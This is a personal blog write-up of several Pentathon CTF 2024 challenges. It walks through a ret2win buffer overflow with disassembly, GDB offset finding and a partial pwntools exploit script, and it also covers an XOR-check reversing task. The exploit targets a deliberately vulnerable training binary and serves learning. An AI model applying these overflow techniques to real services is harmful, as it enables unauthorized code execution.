Pentathon CTF 2024


6 min read

Pentathon CTF 2024

Photo by Andrew Neel on Unsplash

Here are the solution for all the challenges I solved in Pentathon CTF 2024 held by NCIIPC , the CTF was easy but the number of challenges was too less and I got to know about it on the last day :(

Misc: Welcome again?


Here is another complimentary flag for you, well not as simple as the last one.


Solution: Just decode the base64.



Pwn: Overflow


I found an exposed service on a power grid machine. I heard that buffer overflow is one of the most common memory corruption bugs. Maybe it might work here?

The description directly hints towards the solution, it's buffer overflow.
Connect to the provided server instance using nc and it asks for an input.

I reverse engineered the application code for the provided binary using ghidra and found that it uses gets() , and uses a variable to assertain if user is logged in or not.

if the user is login, we get the flag. (using if condition to check if variable is >0)

All we have to do is overflow the buffer of the variable which stores the input (which was around 32 if i rememeber), and that will overwrite the boolean variable thus executing the part of code that prints the flag!

I didn't really have to do all of the above since there was a bug in the code, the control variable was initialized, so it was set by C with some garbage value, since its not zero, the flag was just printed to anyone who connected to the server. (I let the challenge author know, but he didnt change it before the end of the competition).

Pwn: bof


Walter has encountered a buffer overflow in an exposed service but he is unable to exploit it. Help him out.

Another bof challenge, we are provided with the challenge binary and a dockerfile.


# sudo docker build -t vuln
# sudo docker run -d -p 1337:1337 --rm -it vuln
FROM ubuntu:20.04
COPY Deployment .
RUN chmod +x ./ynetd && chmod +x ./chall
CMD ./ynetd -p 1337 ./chall

The binary was 64 bit and had a ret2win vulnerability.


0x00000000004011d6  init
0x0000000000401227  secretFunction
0x0000000000401257  lab
0x00000000004012b8  main

Main() disassembled:
Basically calling lab() in first line of main.

Dump of assembler code for function main:
   0x00000000004012b8 <+0>:    endbr64
   0x00000000004012bc <+4>:    push   rbp
   0x00000000004012bd <+5>:    mov    rbp,rsp
   0x00000000004012c0 <+8>:    mov    eax,0x0
   0x00000000004012c5 <+13>:    call   0x401257 <lab>
   0x00000000004012ca <+18>:    mov    eax,0x0
   0x00000000004012cf <+23>:    pop    rbp
   0x00000000004012d0 <+24>:    ret
End of assembler dump.

lab() disassembled:

Runs the init() and puts two lines of text, takes input using scanf and prints something else.

Dump of assembler code for function lab:
   0x0000000000401257 <+0>:    endbr64
   0x000000000040125b <+4>:    push   rbp
   0x000000000040125c <+5>:    mov    rbp,rsp
   0x000000000040125f <+8>:    sub    rsp,0x20
   0x0000000000401263 <+12>:    mov    eax,0x0
   0x0000000000401268 <+17>:    call   0x4011d6 <init>
   0x000000000040126d <+22>:    lea    rdi,[rip+0xde4]        # 0x402058
   0x0000000000401274 <+29>:    call   0x401090 <puts@plt>
   0x0000000000401279 <+34>:    lea    rdi,[rip+0xe02]        # 0x402082
   0x0000000000401280 <+41>:    call   0x401090 <puts@plt>
   0x0000000000401285 <+46>:    lea    rax,[rbp-0x20]
   0x0000000000401289 <+50>:    mov    rsi,rax
   0x000000000040128c <+53>:    lea    rdi,[rip+0xe00]        # 0x402093
   0x0000000000401293 <+60>:    mov    eax,0x0
   0x0000000000401298 <+65>:    call   0x4010e0 <__isoc99_scanf@plt>
   0x000000000040129d <+70>:    lea    rax,[rbp-0x20]
   0x00000000004012a1 <+74>:    mov    rsi,rax
   0x00000000004012a4 <+77>:    lea    rdi,[rip+0xdeb]        # 0x402096
   0x00000000004012ab <+84>:    mov    eax,0x0
   0x00000000004012b0 <+89>:    call   0x4010b0 <printf@plt>
   0x00000000004012b5 <+94>:    nop
   0x00000000004012b6 <+95>:    leave
   0x00000000004012b7 <+96>:    ret
End of assembler dump.

secretFunction disassembled:

printing something and executing a system command (its cat flag.txt, cause i checked that in ghidra)

   0x0000000000401227 <+0>:    endbr64
   0x000000000040122b <+4>:    push   rbp
   0x000000000040122c <+5>:    mov    rbp,rsp
   0x000000000040122f <+8>:    lea    rdi,[rip+0xdd2]        # 0x402008
   0x0000000000401236 <+15>:    call   0x401090 <puts@plt>
   0x000000000040123b <+20>:    lea    rdi,[rip+0xdde]        # 0x402020
   0x0000000000401242 <+27>:    call   0x401090 <puts@plt>
   0x0000000000401247 <+32>:    pop    rax
   0x0000000000401248 <+33>:    lea    rdi,[rip+0xdfa]        # 0x402049
   0x000000000040124f <+40>:    call   0x4010a0 <system@plt>
   0x0000000000401254 <+45>:    nop
   0x0000000000401255 <+46>:    pop    rbp
   0x0000000000401256 <+47>:    ret

Now that we know it takes and input and there is a secretFunction that is not called, and is using a system exec, its most probably ret2win.

STEP 1: Find the offset

Using GDB to find the offset:

Try and setup a seg fault when running so that we can determine the buffer to reach $RIP register (EIP in x32)

First create a cyclic pattern of 100 chars:

gdb-peda$ pattern create 100

provide this as input to program:

gdb-peda$ run
Starting program: /home/redtrib3/Public/pentathon/bof/chall 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/".
Does Walter know how to break into this??
Enter your Input

Program received signal SIGSEGV, Segmentation fault.


RAX: 0x72 ('r')
RBX: 0x7fffffffde88 --> 0x7fffffffe1fe ("/home/redtrib3/Public/pentathon/bof/chall")
RCX: 0x0 
RDX: 0x0 
RDI: 0x7fffffffbb00 --> 0x7ffff7e1afd0 (<__funlockfile>:    mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x6141414541412941 ('A)AAEAAa')
RIP: 0x4012b7 (<lab+96>:    ret)

This filled the registers with our input, we need to find the offset of pattern in RIP. Use pattern search to make it easier for us.

gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 32
Registers point to pattern buffer:
[RSP] --> offset 40 - size ~60
Pattern buffer found at:
0x00007fffffffbc2d : offset    0 - size  100 ($sp + -0x213b [-2127 dwords])
0x00007fffffffdd40 : offset    0 - size  100 ($sp + -0x28 [-10 dwords])
References to pattern buffer found at:
0x00007fffffffb6b0 : 0x00007fffffffdd40 ($sp + -0x26b8 [-2478 dwords])
0x00007fffffffd658 : 0x00007fffffffdd40 ($sp + -0x710 [-452 dwords])
0x00007fffffffd6b0 : 0x00007fffffffdd40 ($sp + -0x6b8 [-430 dwords])
0x00007fffffffd998 : 0x00007fffffffdd40 ($sp + -0x3d0 [-244 dwords])
0x00007fffffffdc68 : 0x00007fffffffdd40 ($sp + -0x100 [-64 dwords])
0x00007fffffffdc88 : 0x00007fffffffdd40 ($sp + -0xe0 [-56 dwords])


Now find the memory address of the secretFunction().

gdb-peda$ p secretFunction
$1 = {<text variable, no debug info>} 0x401227 <secretFunction>

With all the above info, i created a script to pwn the binary.

from pwn import *

# execute the binary locally
p = process('./chall')
#p = remote('',32551)
print(p.recvuntil('Enter your Input\n'))

buffer = b'A'*40

# secretFunction in little endian
ret_addr = p64(0x401227) 




Got the flag !

Byte By Byte


You've been hired as a cybersecurity consultant to test the defenses of a major corporation's secure network. Your objective is to gain access to their encrypted data vault, which contains sensitive information and trade secrets. All of these have been stored behind a password system. Can you crack the code and gain access to the corporate vault?

condition (a x64 elf binary)

Fire up ghidra and analyze the binary to get the source of main().
The main() was obfuscated and long, and to be honest I spend a lot of time analysing the code and decoding each variable and relation, The flag was right in front of me.

The algorithm checks if the xor result is right by comparing each byte to a character.

Put the characters together and you get the flag.


I wish I knew about the CTF when it started, the challenges were really easy and I wish I solved more.

Edit: I got into the Finals!